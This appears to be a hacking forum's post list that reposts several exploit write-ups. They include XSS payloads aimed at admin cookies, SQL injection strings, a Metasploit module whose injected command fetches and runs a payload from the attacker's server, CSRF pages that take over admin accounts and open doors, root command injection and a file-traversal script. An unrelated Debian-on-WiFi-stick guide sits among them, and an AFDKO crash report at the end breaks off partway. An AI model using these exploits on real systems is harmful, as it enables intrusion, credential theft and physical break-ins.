Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. # Exploit Title: Live Chat Unlimited v2.8.3 Stored XSS Injection # Google Dork: inurl:"wp-content/plugins/screets-lcx" # Date: 2019/06/25 # Exploit Author: m0ze # Vendor Homepage: https://screets.com/ # Software Link: https://codecanyon.net/item/wordpress-live-chat-plugin/3952877 # Version: 2.8.3 # Tested on: Windows 10 / Parrot OS # CVE : - Info: Weak security measures like bad input field data filtering has been discovered in the «Live Chat Unlimited». Current version of this premium WordPress plugin is 2.8.3. PoC: Go to the demo website https://site.com/try/lcx/night-bird/ and open chat window by clicking on «Open/close» link, then click on «Online mode» to go online. Use your payload inside input field and press [Enter]. Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other website. Example #1: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">m0ze Example #2: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">m0ze
  2. =========================================================================================== # Exploit Title: CiuisCRM 1.6 - 'eventType' SQL Inj. # Dork: N/A # Date: 27-05-2019 # Exploit Author: Mehmet EMİROĞLU # Vendor Homepage: https://codecanyon.net/item/ciuis-crm/20473489 # Software Link: https://codecanyon.net/item/ciuis-crm/20473489 # Version: v1.6 # Category: Webapps # Tested on: Wamp64, Windows # CVE: N/A # Software Description: Ciuis CRM you can easily manage your customer relationships and save time on your business. =========================================================================================== # POC - SQLi # Parameters : eventType # Attack Pattern : -1+or+1%3d1+and(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a) # POST Method : http://localhost/ciuiscrm-16/calendar/addevent ===========================================================================================
  3. # Exploit Title: ZoneMinder 1.32.3 - Stored Cross Site Scripting (filters) # Google Dork: None # Date: 6/29/2019 # Exploit Author: Joey Lane # Vendor Homepage: https://zoneminder.com # Software Link: https://github.com/ZoneMinder/zoneminder/releases # Version: 1.32.3 # Tested on: Ubuntu 16.04 # CVE : Pending ZoneMinder 1.32.3 contains a stored cross site scripting vulnerability in the 'Filters' page. The 'Name' field used to create a new filter is not being properly sanitized. This allows an authenticated user to inject arbitrary javascript code, which will later be executed once a user returns to the Filters page. The following curl command injects an alert(1) payload into the vulnerable field. The javascript is executed once a user visits the 'Filters' page. curl -X POST -H "Content-type: application/x-www-form-urlencoded" -d "Id=&action=Save&object=filter&filter%5BName%5D=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D=%3D&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5BQuery%5D%5Bsort_field%5D=Id&filter%5BQuery%5D%5Bsort_asc%5D=1&filter%5BQuery%5D%5Blimit%5D=100&filter%5BAutoExecuteCmd%5D=0&filter%5BAutoMoveTo%5D=&Save=Save" --cookie "zmSkin=classic; zmCSS=classic; ZMSESSID=(A VALID SESSION ID)" http://(A VALID HOST)/zm/index.php?view=filter&sort_field=StartTime&sort_asc=1
  4. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Linux Mint 'yelp' URI handler command injection vulnerability", 'Description' => %q{ This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument. The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'b1ack0wl' # vuln discovery and exploit dev ], 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'WfsDelay' => 60 }, 'Platform' => 'linux', 'Targets' => [ [ 'Linux Mint 18.3 and 19.1', { 'Arch' => ARCH_X64 } ] ], 'Privileged' => false, 'DefaultTarget' => 0)) end def generate_exploit_html() if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['LHOST'] else srv_host = datastore['SRVHOST'] end @filename = rand_text_alpha(4) cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20). html = %Q| <html> <head> <meta content="text/html;charset=utf-8" http-equiv="Content-Type"> <meta content="utf-8" http-equiv="encoding"> <title>paparoachfanclubdotcom</title> </head> <body> <script> lmao = document.createElement('a'); lmao.href= "ghelp://$(#{cmd_inj})"; document.body.appendChild(lmao); /* Needed to work with Firefox */ lmao.click(); </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent =~ /curl\/\d/ # Command has been executed. Serve up the payload exe_payload = generate_payload_exe() print_status("Sending payload...") send_response(cli, exe_payload) register_file_for_cleanup("/tmp/#{@filename}") return else html = generate_exploit_html() print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end end
  5. # Exploit Title: PowerPanel Business Edition - Stored Cross Site Scripting (SNMP trap receivers) # Google Dork: None # Date: 6/29/2019 # Exploit Author: Joey Lane # Vendor Homepage: https://www.cyberpowersystems.com # Version: 3.4.0 # Tested on: Ubuntu 16.04 # CVE : Pending CyberPower PowerPanel Business Edition 3.4.0 contains a stored cross site scripting vulnerability. The fields used to configure SNMP trap receivers are not being properly sanitized. This allows an authenticated user to inject arbitrary javascript code, which will later be executed once a user returns to the Event Action / Recipient page. To demonstrate the vulnerability, create a file named 'xss.xml' with the following contents: <?xml version="1.0" encoding="UTF-8" ?> <ppbe> <target> <command>action.notification.trapRecipient.setup</command> </target> <inquire> <trapRecipientSetup> <action>ADD</action> <trapRecipient> <name><script>alert(1)</script></name> <status>true</status> <type>1</type> <ipAddress>127.0.0.1</ipAddress> <community>public</community> </trapRecipient> </trapRecipientSetup> </inquire> </ppbe> Now execute the following curl command to submit a POST request with the contents of the 'xss.xml' file: curl -X POST -H 'Content-type: text/xml' -d @xss.xml --cookie "JSESSIONID=(A VALID SESSION ID)" http://(A VALID HOST):3052/agent/ppbe.xml Visiting the Event Action / Recipient page will execute the posted javascript code.
  6. =========================================================================================== # Exploit Title: Varient 1.6.1 SQL Inj. # Dork: N/A # Date: 29-06-2019 # Exploit Author: Mehmet EMIROGLU # Vendor Homepage: https://varient.codingest.com/ # Software Link: https://varient.codingest.com/ # Version: v1.6.1 # Category: Webapps # Tested on: Wamp64, Windows # CVE: N/A # Software Description: the best news and magazine script =========================================================================================== # POC - SQLi # Parameters : user_id # Attack Pattern : %27)/**/oR/**/3211170=3211170/**/aNd/**/(%276199%27)=(%276199 # POST Method : https://site.com/unpleasant-nor-diminution-excellence-apartments-imprudence?parent_id=0&post_id=66&name=9956574&comment=[COMMENT HERE]7146048&user_id=99999999[SQL INJECT HERE] ===========================================================================================
  7. Can you enter Debian with portable WIFI? That's right, there is nothing you can't do, only you can't imagine. Let’s take a look now! By inputting the debian system into the portable WiFi, we can install pagodas, build Ha, etc. And it doesn’t require much power consumption, it’s so pleasant to think about it! Hardware introduction In this article, we use the portable WiFi of Qualcomm 410 processor. Other types of portable WiFi may not be successfully flashed. Please confirm the model before purchasing. Installing the driver Before using, you can contact the merchant or download and install the driver according to the product name. ADB debugging In the flash package directory, execute the cmd command. #Check the device connection status adb.exe devices #Enter Fastboot mode adb.exe reboot bootloader #Check whether to enter fastboot fastboot.exe devices Flashing After the device enters Fastboot mode, we double-click to run the flash.bat file and automatically flash the machine throughout the process. Wait patiently for the flash to complete. Equipment Information After the flashing is completed, the device information is as follows: WiFi: 4G UFI 123456 (password:12345678) IP: 192.168.68.1SSH: root (password:1) Connection Test Our connection WiFi is called 4G UFI 123456. Use SSH tools to connect. Configure the network Now we need to connect to WiFi at home. Turn off its transmit (AP) function. Because portable WiFi supports USB sharing network and WiFi network. (Note, don’t turn off WiFi first, otherwise you won’t be able to connect to your portable WiFi.) Configure the USB network to open the device manager and you will see the following devices. Click Update Driver and select the second one. Select USB Composite Device After the update is completed, unplug the device again. The following situation will occur at this time. We updated the same method, selected the network adapter, and selected it according to the figure below. After completion, we can command ipconfig to check the network situation. Turn off portable WiFi to connect to home WiFi Execute the command nmtui in the terminal to start the graphical interface. Return to the homepage and click Enable Network. After selecting WiFi, enter your password to connect. Installing the pagoda For testing, I installed the pagoda here (it is not recommended to install because the space is too small) Home Page Effect Display Finally, we find a charger head and plug it in the corner. A small portable server is ready. Insufficient The memory and disk capacity are relatively small. It should be fine to run the HA Ngingx three-piece set.
  8. # Title: CyberPanel Administrator Account Takeover <= v1.8.4 # Date: 30.06.2019 # Author: Bilgi Birikim Sistemleri # Vendor Homepage: https://cyberpanel.net/ # Version: Up to v1.8.4. # CVE: CVE-2019-13056 # mturkyilmaz@bilgibirikim.com & bilgibirikim.com # Description: # Attacker can edit administrator's credentials like email, password. # Then, access the administration panel and takeover the server. # A CSRF vulnerability. # How to Reproduce: # Attacker will create a website, # CyberPanel administrator will visit that website, # Administrator's e-mail and password will be changed automatically. # PoC: <script> fetch('https://SERVERIP:8090/users/saveModifications', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"accountUsername":"admin","firstName":"CSRF","lastName":"Vulnerable","email":"attackersemail@example.org","password":"attackerspassword"}'}); </script>
  9. FaceSentry Access Control System 6.4.8 Cross-Site Request Forgery Vendor: iWT Ltd. Product web page: http://www.iwt.com.hk Affected version: Firmware 6.4.8 build 264 (Algorithm A16) Firmware 5.7.2 build 568 (Algorithm A14) Firmware 5.7.0 build 539 (Algorithm A14) Summary: FaceSentry 5AN is a revolutionary smart identity management appliance that offers entry via biometric face identification, contactless smart card, staff ID, or QR-code. The QR-code upgrade allows you to share an eKey with guests while you're away from your Office and monitor all activity via the web administration tool. Powered by standard PoE (Power over Ethernet), FaceSEntry 5AN can be installed in minutes with only 6 screws. FaceSentry 5AN is a true enterprise grade access control or time-and-attendance appliance. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus) Linux 3.4.113-sun8i (armv7l) PHP/7.0.30-0ubuntu0.16.04.1 PHP/7.0.22-0ubuntu0.16.04.1 lighttpd/1.4.35 Armbian 5.38 Sunxi Linux (sun8i generation) Orange Pi PC + Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5524 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5524.php 28.05.2019 -- CSRF change administrator password: ----------------------------------- <html> <body> <script>history.pushState('', 'CSRF', 'sentryInfo.php')</script> <form action="http://192.168.11.1/personalSetting.php" method="POST"> <input type="hidden" name="strInAction" value="updateUser" /> <input type="hidden" name="strInUserID" value="administrator" /> <input type="hidden" name="isChangePwd" value="1" /> <input type="hidden" name="strInLanguage" value="Eng" /> <input type="hidden" name="strInPassword" value="t00tw00t /> <input type="hidden" name="strInConfirmPassword" value="t00tw00t" /> <input type="submit" value="Submit" /> </form> </body> </html> CSRF add admin: --------------- <html> <body> <script>history.pushState('', 'CSRF', 'sentryInfo.php')</script> <form action="http://192.168.11.1/userList.php?" method="POST"> <input type="hidden" name="strInAction" value="addUser" /> <input type="hidden" name="strInUserID" value="Testinugs" /> <input type="hidden" name="strInUserFunctionPermissionGroupID" value="Admin" /> <input type="hidden" name="strInDescription" value="CSRFd" /> <input type="hidden" name="strInLanguage" value="Eng" /> <input type="hidden" name="strInPassword" value="123123" /> <input type="hidden" name="strInConfirmPassword" value="123123" /> <input type="hidden" name="strInStatus" value="Active" /> <input type="submit" value="Submit" /> </form> </body> </html> Change administrator password via different path: ------------------------------------------------- <html> <body> <script>history.pushState('', 'CSRF', 'sentryInfo.php')</script> <form action="http://192.168.11.1/userList.php?" method="POST"> <input type="hidden" name="strInAction" value="updateUser" /> <input type="hidden" name="strInPageNo" value="0" /> <input type="hidden" name="strInUserID" value="administrator" /> <input type="hidden" name="isChangePwd" value="1" /> <input type="hidden" name="strInDescription" value="Default&#32;Sys&#46;&#32;Admin" /> <input type="hidden" name="strInUserFunctionPermissionGroupID" value="Admin" /> <input type="hidden" name="strInLanguage" value="Eng" /> <input type="hidden" name="strInStatus" value="Active" /> <input type="hidden" name="strInPassword" value="123456" /> <input type="hidden" name="strInConfirmPassword" value="123456" /> <input type="hidden" name="strEditPageNo" value="" /> <input type="submit" value="Submit" /> </form> </body> </html> Add special card: ----------------- <html> <body> <script>history.pushState('', 'CSRF', 'sentryInfo.php')</script> <form action="http://192.168.11.1/specialCard.php?" method="POST"> <input type="hidden" name="strInSpecialCardID" value="deadbeef" /> <input type="hidden" name="strInSpecialCardStatus" value="" /> <input type="hidden" name="strInSpecialCardEnrollHigh" value="1" /> <input type="hidden" name="strInSpecialCardEnrollLow" value="1" /> <input type="hidden" name="strInSpecialCardRescue" value="1" /> <input type="hidden" name="strInSpecialCardOpenDoor" value="1" /> <input type="hidden" name="strInSpecialCardReboot" value="1" /> <input type="hidden" name="strInSpecialCardShutDown" value="1" /> <input type="hidden" name="strInAction" value="addNewSpecialCard" /> <input type="hidden" name="strInPageNo" value="0" /> <input type="hidden" name="strEditPageNo" value="" /> <input type="hidden" name="strInNewSpecialCard" value="deadbeef" /> <input type="submit" value="Submit" /> </form> </body> </html> CSRF open door 0: ----------------- <html> <body> <script>history.pushState('', 'CSRF', 'sentryInfo.php')</script> <form action="http://192.168.11.1/openDoor.php?" method="POST"> <input type="hidden" name="strInAction" value="openDoor" /> <input type="hidden" name="strInPageNo" value="0" /> <input type="hidden" name="strInRestartAction" value="" /> <input type="hidden" name="strPanelIDRestart=" value="" /> <input type="hidden" name="strPanelRestartAction" value="" /> <input type="submit" value="Submit" /> </form> </body> </html>
  10. # Exploit Title: Sahi pro (8.x) Directory traversal # Date: 2019-06-25 # Exploit Author: Operat0r # Vendor Homepage: https://sahipro.com/ # Software Link: https://sahipro.com/downloads-archive/ # Version: 8.0 # Tested on: Linux Ubuntu / Windows 7 # CVE: CVE-2019-13063 An issue was discovered in Safi-pro web-application, there is a directory traversal and both local and remote file inclusion vulnerability which resides in the ?script= parameter which is found on the Script_View page. And attacker can send a specially crafted URL to retrieve and steal sensitive files from teh victim. POC - http://10.0.0.167:9999/_s_/dyn/Script_view?script=/config/productkey.txt This results in the revealing of the applications product key. The ?script= can have ../../../../../ added to retrieve more files from the system POC tool - import argparse, requests, os #sahi_productkey = '/config/productkey.txt' #root_dir = '../../../../../../' #vuln_url = "http://10.0.0.167:9999/_s_/dyn/Script_view?script=" print("[x] Proof of concept tool to exploit the directory traversal and local file" " inclusion vulnerability that resides in the [REDACTED]\n[x] CVE-2019-xxxxxx\n") print("Example usage:\npython POC.y --url http://example:9999/_s_/dyn/Script_view?script=/config/productkey.txt") parser = argparse.ArgumentParser() parser.add_argument("--url", help='Specify the vulnerable URL') args = parser.parse_args() response = requests.get(args.url) file = open("output.txt", "w") file.write(response.text) file.close()
  11. # Exploit Title: [Sensitive Information Disclosure in SAP Crystal Reports] # Date: [2019-04-10] # Exploit Author: [Mohamed M.Fouad - From SecureMisr Company] # Vendor Homepage: [https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=517899114] # Version: [SAP Crystal Reports for Visual Studio, Version - 2010] (REQUIRED) # Tested on: [Windows 10] # CVE : [CVE-2019-0285] POC: 1- Intercept the "Export" report http request 2- Copy the "__CRYSTALSTATE" + <crystal report user control> Viewer name parameter value. 3- You will find a base64 value in "viewerstate" attribute. 4- decode the value you will get database information such as: name, credentials, Internal Path disclosure and some debugging information.
  12. FaceSentry Access Control System 6.4.8 Remote Command Injection Vendor: iWT Ltd. Product web page: http://www.iwt.com.hk Affected version: Firmware 6.4.8 build 264 (Algorithm A16) Firmware 5.7.2 build 568 (Algorithm A14) Firmware 5.7.0 build 539 (Algorithm A14) Summary: FaceSentry 5AN is a revolutionary smart identity management appliance that offers entry via biometric face identification, contactless smart card, staff ID, or QR-code. The QR-code upgrade allows you to share an eKey with guests while you're away from your Office and monitor all activity via the web administration tool. Powered by standard PoE (Power over Ethernet), FaceSEntry 5AN can be installed in minutes with only 6 screws. FaceSentry 5AN is a true enterprise grade access control or time-and-attendance appliance. Desc: FaceSentry suffers from an authenticated OS command injection vulnerability using default credentials. This can be exploited to inject and execute arbitrary shell commands as the root user via the 'strInIP' and 'strInPort' parameters (POST) in pingTest and tcpPortTest PHP scripts. ============================================================== /pingTest.php: -------------- 8: if (!isAuth('TestTools','R')){ 9: echo "No Permission"; 10: include("footer.php"); 11: exit; 12: } 13: 14: if(isset($_POST["strInIP"])){ 15: $strInIP = $_POST["strInIP"]; 16: }else{ 17: $strInIP = ""; 18: } 19: 20: $strOperationResult = ""; 21: if ($strInIP != ""){ 22: 23: $out = array(); 24: exec("sudo ping -c 4 $strInIP",$out); 25: $result = ""; 26: foreach($out as $line){ 27: $result = $result.$line."<br>"; 28: } -------------------------------------------------------------- /tcpPortTest.php: ----------------- 14: if (isset($_POST["strInIP"])){ 15: $strInIP = $_POST["strInIP"]; 16: }else{ 17: $strInIP = ""; 18: } 19: if (isset($_POST["strInPort"])){ 20: $strInPort = $_POST["strInPort"]; 21: }else{ 22: $strInPort = ""; 23: } .. .. 53: $strOperationResult = ""; 54: if ($strInIP != "" and $strInPort != ""){ 55: $fp = fsockopen($strInIP, $strInPort, $errno, $errstr, 10); 56: system("date>>".TCP_PORT_TEST); 57: if (!$fp) { 58: $strOperationResult = getDisplay("TestTools.TCPPortTestFail")." $errstr ($errno)"; 59: system("echo -e \"Unable to connect to $strInIP:$strInPort\">>".TCP_PORT_TEST); 60: } else { 61: fclose($fp); 62: $strOperationResult = getDisplay("TestTools.TCPPortTestSucces"); 63: system("echo -e \"Successfully connected to $strInIP:$strInPort\">>".TCP_PORT_TEST); 64: } 65: } ============================================================== Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus) Linux 3.4.113-sun8i (armv7l) PHP/7.0.30-0ubuntu0.16.04.1 PHP/7.0.22-0ubuntu0.16.04.1 lighttpd/1.4.35 Armbian 5.38 Sunxi Linux (sun8i generation) Orange Pi PC + Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5523 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5523.php 28.05.2019 -- $ curl -X POST 'http://192.168.11.1/tcpPortTest.php' \ --data 'strInIP=1.2.3.4`sudo id > garbage.txt`&strInPort=80' \ -H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3' $ curl http://192.168.11.1/garbage.txt uid=0(root) gid=0(root) groups=0(root) -------------------------------------------------------------------------------- $ curl -X POST 'http://192.168.11.1/pingTest.php' \ --data 'strInIP=;sudo id' \ -H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3' \ |grep uid % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 7726 0 7697 100 29 10180 38 --:--:-- --:--:-- --:--:-- 10181 <font color='red'>Ping Test Fail! (;sudo id)<br>uid=0(root) gid=0(root) groups=0(root)<br></font><div id="six_tab_pages_nav" class="six_tab_pages_nav">
  13. -----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The _t2cCtx structure defined in c/public/lib/source/t2cstr/t2cstr.c contains a "cube" array and a "cubeStackDepth" index: --- cut --- 84 int cubeStackDepth; 85 float transformMatrix[6]; 86 struct /* Stem hints */ 87 { 88 float start_x; /* Path x-coord at start of Cube library element processing */ 89 float start_y; /* Path y-coord at start of Cube library element processing */ 90 float offset_x; /* cube offset, to add to first moveto in cube library element (LE) */ 91 float offset_y; /* cube offset, to add to first moveto in cube library element (LE) */ 92 int nMasters; 93 int leIndex; 94 int composeOpCnt; 95 float composeOpArray[TX_MAX_OP_STACK_CUBE]; 96 double WV[kMaxCubeMasters]; /* Was originally just 4, to support substitution MM fonts. Note: the PFR rasterizer can support only up to 5 axes */ 97 } cube[CUBE_LE_STACKDEPTH]; --- cut --- The "cubeStackDepth" field is initially set to -1 in t2cParse(): --- cut --- 2534 h.cubeStackDepth = -1; --- cut --- The value shouldn't be used as an index if it is negative. When the tx_compose operation handler increments it to 0 or a larger value, it also sets the START_COMPOSE flag in h->flags. Most functions check the flag before using cubeStackDepth, for example: --- cut --- 529 /* Callback path move. */ 530 static void callbackMove(t2cCtx h, float dx, float dy) { 531 int flags; 532 float x, y; 533 534 if (h->flags & START_COMPOSE) { 535 /* We can tell that this is the first move-to of a flattened compare operator 536 with the START_COMPOSE flag. 537 dx and dy are the initial moveto values in the LE, usually 0 or a small value. 538 h->x and h->y are the current absolute position of the last point in the last path. 539 h->le_start.x,y are the LE absolute start position. 540 */ 541 x = dx + h->cube[h->cubeStackDepth].offset_x; 542 y = dy + h->cube[h->cubeStackDepth].offset_y; 543 h->cube[h->cubeStackDepth].offset_x = 0; 544 h->cube[h->cubeStackDepth].offset_y = 0; --- cut --- However, neither the do_set_weight_vector_cube() nor do_blend_cube() functions respect this requirement, and instead assume that cubeStackDepth is greater than 0 when they execute. Below are the first few lines of do_blend_cube(): --- cut --- 1054 /* Execute "blend" op. Return 0 on success else error code. */ 1055 static int do_blend_cube(t2cCtx h, int nBlends) { 1056 int i; 1057 int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters; 1058 int iBase = h->stack.cnt - nElements; 1059 int k = iBase + nBlends; 1060 1061 if (h->cube[h->cubeStackDepth].nMasters <= 1) 1062 return t2cErrInvalidWV; --- cut --- The two affected functions subsequently read from and write to the out-of-bounds cube object at h->cube[-1]. In x64 builds of AFDKO, _t2cCtx.cube[-1] overlaps with the _t2cCtx.stack.blendArgs[92] structure, which is uninitialized in typical scenarios, but may also be user-controlled. This may lead to disclosure of uninitialized stack memory, or stack-based memory corruption and remote code execution. -----=====[ Proof of Concept ]=====----- The two proof of concept files trigger crashes in the standard "tx" tool compiled with AddressSanitizer and a slightly modified version of the afdko/c/public/lib/source/t2cstr/t2cstr.c file. Our patch adds ASAN redzones in between the fields of the t2cCtx structure, in order to make intra-object out-of-bounds accesses more visible. The PoCs invoke the do_set_weight_vector_cube() and do_blend_cube() functions without first executing a tx_compose instruction. The offending instruction streams are found in the CharStrings for letter "A". -----=====[ Crash logs ]=====----- Below, we present crash logs from the 64-bit "tx" tool compiled with ASAN and the redzone patch, run as ./tx -cff <path to font file>. For do_blend_cube.otf: --- cut --- ================================================================= ==96052==ERROR: AddressSanitizer: use-after-poison on address 0x7ffea1a88890 at pc 0x00000069e6e2 bp 0x7ffea1a46bb0 sp 0x7ffea1a46ba8 READ of size 4 at 0x7ffea1a88890 thread T0 #0 0x69e6e1 in do_blend_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58 #1 0x6855fd in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1857:38 #2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18 #3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14 #4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9 #5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18 #6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #10 0x7fa93072e2b0 in __libc_start_main #11 0x41e5b9 in _start Address 0x7ffea1a88890 is located in stack of thread T0 at offset 241616 in frame #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523 This frame has 2 object(s): [32, 757896) 'h' (line 2524) <== Memory access at offset 241616 is inside this variable [758160, 758376) 'Exception' (line 2586) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58 in do_blend_cube Shadow bytes around the buggy address: 0x1000543490c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000543490d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000543490e0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000543490f0: f7 f7 00 f7 f7 f7 f7 00 00 00 00 00 00 00 00 00 0x100054349100: 00 00 00 00 00 00 00 f7 f7 f7 f7 00 00 00 00 00 =>0x100054349110: f7 f7[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x100054349120: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x100054349130: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x100054349140: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x100054349150: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x100054349160: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==96052==ABORTING --- cut --- Where the t2cstr.c:1057 line is: --- cut --- 1057 int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters; --- cut --- Furthermore, for do_set_weight_vector_cube.otf: --- cut --- ================================================================= ==96231==ERROR: AddressSanitizer: use-after-poison on address 0x7ffe0355a7d8 at pc 0x00000069f2bb bp 0x7ffe0351b9d0 sp 0x7ffe0351b9c8 READ of size 4 at 0x7ffe0355a7d8 thread T0 #0 0x69f2ba in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:992:49 #1 0x6858f1 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1883:38 #2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18 #3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14 #4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9 #5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18 #6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #10 0x7ffbfaea62b0 in __libc_start_main #11 0x41e5b9 in _start Address 0x7ffe0355a7d8 is located in stack of thread T0 at offset 241624 in frame #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523 This frame has 2 object(s): [32, 757896) 'h' (line 2524) <== Memory access at offset 241624 is inside this variable [758160, 758376) 